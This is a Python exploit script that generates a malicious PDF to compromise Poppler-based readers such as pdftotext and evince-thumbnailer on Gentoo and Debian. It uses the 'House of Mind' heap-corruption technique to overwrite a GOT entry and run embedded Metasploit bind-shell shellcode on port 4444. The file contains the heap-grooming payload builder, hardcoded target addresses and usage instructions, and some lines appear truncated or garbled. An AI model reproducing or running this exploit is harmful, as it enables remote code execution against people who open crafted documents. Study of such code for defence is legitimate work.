import struct import struct import math import os import sys ## print "%.400f"%d wont work :( ... so a quick double printing class class Doubles: def __init__(self, precision=400): self.precision=precision def pdficateint(self,i1,i2): s = struct.pack("@L",i1) + struct.pack("@L",i2) return self.pdficatestr(s) def pdficate(self,s): rslt = " " for pos in range (0,len(s)/8): rslt+=self.pdficatestr(s[(pos*8):(pos*8)+8])+" " return rslt; def pdficatestr(self, s): d = struct.unpack("d",s)[0] rslt=" " if(d<0.0): rslt+="-" d=-d rslt+="%d."%int(math.floor(d)) myd=math.floor(d) scale=0.1 nines=0 for p in range(1,self.precision): for i in range(1,10): if (myd+scale*i) > d: i-=1 break if i==9: if nines>6: return rslt else: nines+=1 else: nines=0 rslt+=("%02d"%i)[1] myd+=scale* i scale=scale*0.1 return rslt ##From Malloc maleficarum ##http://packetstormsecurity.org/papers/attack/MallocMaleficarum.txt class HouseOfMind: HEAP_MAX_SIZE=(1024*1024) JMP='\xeb' NOP='\x90' PAD='\x00' PREV_INUSE=0x1 IS_MMAPPED=0x2 NON_MAIN_ARENA=0x4 def __init__(self, base, where, payload, entrypoint): self.base=base self.where=where-0xc self.heap_info = (base+self.HEAP_MAX_SIZE-1)& ~(self.HEAP_MAX_SIZE-1) self.payload=payload self.entrypoint=entrypoint self.chunkaddress=0 if (self.entrypoint > 0xff - 8): throw ## lendian, 32bit only ## See The Malloc Maleficarum / House of Mind def mind(self): rslt = "" #first we add padding to reach the next Heap border rslt+=self.PAD*(self.heap_info-self.base) #now we add a _heap_info pinting to a malloc_state of our own #and dictating a generous size for this *heap* ##arena.c:59 //struct _heap_info rslt += struct.pack(" unlocked. rslt += struct.pack(" +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Size of previous chunk, if allocated | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Size of chunk, in bytes |M|P| # mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | User data starts here... . # . . # . (malloc_usable_size() bytes) . # . | #nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Size of chunk | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ #chunk 0 There isn't a single reason for this to exist * wabaaaaaaaaaa! # rslt += struct.pack(">\nstream...\nendstream\n"])) catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Outlines", "3 0 R") catalog.add("Pages", "4 0 R") catalog.add("AcroForm", "<>") #for i in range(0,1000): # catalog.add( "C"*82 + "%05d"%i, 0) outlines = PDFDict() outlines.add("Type", PDFName("Outlines")) outlines.add("Count",0) pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids","[ 8 0 R 6 0 R 5 0 R ]") pages.add("Count","3") doc.add(PDFObject([catalog])) doc.add(PDFObject([outlines])) doc.add(PDFObject([pages])) page1 = PDFDict() page1.add("Type", PDFName("Page")) page1.add("Parent", "4 0 R") page1.add("MediaBox","[ 0 0 612 792 ]") page1.add("Contents", "1 0 R") page1.add("Resources", "<< /ProcSet 6 0 R >>") page1.add("Annots", "0") #malloc-fill-free lots of chunks of the size then used by Page class(88) for pagesize in range(88,126): payload = ("".join(["#%02x"%ord(struct.pack("@L",hm.chunkaddress)[i]) for i in range (0,4)]))*19 payload += "B"*(pagesize-(len(payload)/3)) for i in range(0,10): page1.add(payload, 0) doc.add(PDFObject([page1])) page1 = PDFDict() page1.add("Type", PDFName("Page")) page1.add("Parent", "4 0 R") page1.add("MediaBox","[ 0 0 612 792 ]") page1.add("Contents", "1 0 R") page1.add("Resources", "<< /ProcSet 6 0 R >>") page1.add("Annots", "[7 0 R 7 0 R 7 0 R 7 0 R]") #massage session 1 size=127 for i in range(0,massage[0]): page1.add( "A"*(size-5)+("%05d"%(i)), "B"*size) doc.add(PDFObject([page1])) annots = PDFDict() annots.add("Subtype","/Text") annots.add("BS", "<? "0.0 "*massage[2] + " ]>>") annots.add("FT", "/Tx") doc.add(PDFObject([annots])) page1 = PDFDict() page1.add("Type", PDFName("Page")) page1.add("Parent", "4 0 R") page1.add("MediaBox","[ 0 0 612 792 ]") page1.add("Contents", "1 0 R") page1.add("Resources", "<< /ProcSet 6 0 R >>") page1.add("Annots", "[7 0 R]") doc.add(PDFObject([page1])) doc.add(PDFObject(["<<>>"])) doc.add(PDFObject(["[ /PDF ]"])) return doc.__str__() ##Main ## Not every shellcode will work by now ## Only the ones that taken by 8bytes form an ieee754 double presicion float ## with an exponent not too positive ... :) ## linux_ia32_bind - LPORT=4444 Size=84 Encoder=None http://metasploit.com scode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" scode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" scode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" scode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" scode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" scode += "\x89\xe1\xcd\x80" #expl = PopplerExpl( ('\xcc'+'\x90')*((160-16)/2)) expl = PopplerExpl(scode) targets = { "gentoo-pdftotext":(0x08100000, 0x804c014, 1863, 20, 400), "debian4-pdftotext":(0x08100000, 0x804bb18, 1879, 33, 400), "gentoo-evince-thumbnailer": (0x8100000, 0x080712c4, 907, 34, 200), } if len( sys.argv )==1: print "Comments -> fmanzano@fceia.unr.edu.ar" print "Usage 1:" print " %s "%sys.argv[0], targets.keys() print "Usage 2:" print " %s massage1 massage2 massage3 base got"%sys.argv[0] print " The idea here is to align the _heap_info struct that commences with 0x08?00010 " print " to the address 0x8?0000. For this pourpose move massage1/2/3. " print " THIS STUPIDLY SIMPLE METHOD WOULD WORK FOR VERY FEW APPS !" print " base is the 1024*1024 bytes aligned address to which we are trying to align everything" print " got is the addres of the got where the thing is going to write the shellcode address" print " BTW by now the shellcode is nop;int 3;nop...grooovy!.. NOT" elif len( sys.argv )>2: print expl.make(int(sys.argv[4][2:],16), int(sys.argv[5][2:],16), (int(sys.argv[1]),int(sys.argv[2]),int(sys.argv[3]))) else: #base: the expected heap limit (08100000,08200000,....08f00000... ) #got: address of the got entry to change #chinesse massage base,got,massage1,massage2,massage3 = targets[sys.argv[1]] print expl.make(base,got,(massage1,massage2,massage3))